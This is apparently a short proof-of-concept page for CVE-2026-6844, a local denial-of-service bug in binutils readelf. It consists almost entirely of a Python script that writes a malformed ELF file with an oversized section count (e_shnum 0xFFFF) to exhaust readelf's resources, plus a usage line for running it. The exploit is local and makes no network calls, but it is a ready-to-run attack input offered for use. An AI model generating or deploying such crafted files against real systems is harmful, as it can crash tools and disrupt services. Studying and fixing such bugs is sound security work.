CVE-2026-6844: binutils readelf 本地拒绝服务漏洞

import struct # Malformed ELF PoC generator for CVE-2026-6844 # This generates an ELF file with a huge e_shnum to trigger resource exhaustion (CWE-400) def generate_malformed_elf(filename): # ELF Header (64-bit) # e_ident: 0x7f 'E' 'L' 'F' e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 # Set e_type to ET_EXEC (Executable) e_type = struct.pack('<H', 2) # Set e_machine to EM_X86_64 e_machine = struct.pack('<H', 62) # Set e_version e_version = struct.pack('<I', 1) # Set entry point and offsets (placeholder) e_entry = struct.pack('<Q', 0) e_phoff = struct.pack('<Q', 0) e_shoff = struct.pack('<Q', 64) # Section header offset right after header # Set e_flags e_flags = struct.pack('<I', 0) # Set e_ehsize (size of this header) e_ehsize = struct.pack('<H', 64) # Set e_phentsize, e_phnum e_phentsize = struct.pack('<H', 0) e_phnum = struct.pack('<H', 0) # Set e_shentsize e_shentsize = struct.pack('<H', 64) # MALICIOUS: Set e_shnum to a very large number to trigger OOM # readelf might try to allocate memory based on this value e_shnum = struct.pack('<H', 0xFFFF) # Set e_shstrndx e_shstrndx = struct.pack('<H', 0) header = e_ident + e_type + e_machine + e_version + e_entry + e_phoff + e_shoff + e_flags + e_ehsize + e_phentsize + e_phnum + e_shentsize + e_shnum + e_shstrndx with open(filename, 'wb') as f: f.write(header) # Write one dummy section header to avoid immediate segfault on read size, # but logic will loop based on e_shnum f.write(b'\x00' * 64) if __name__ == "__main__": generate_malformed_elf('crash_me.elf') print("Malformed ELF file generated: crash_me.elf") print("Usage: readelf -a crash_me.elf")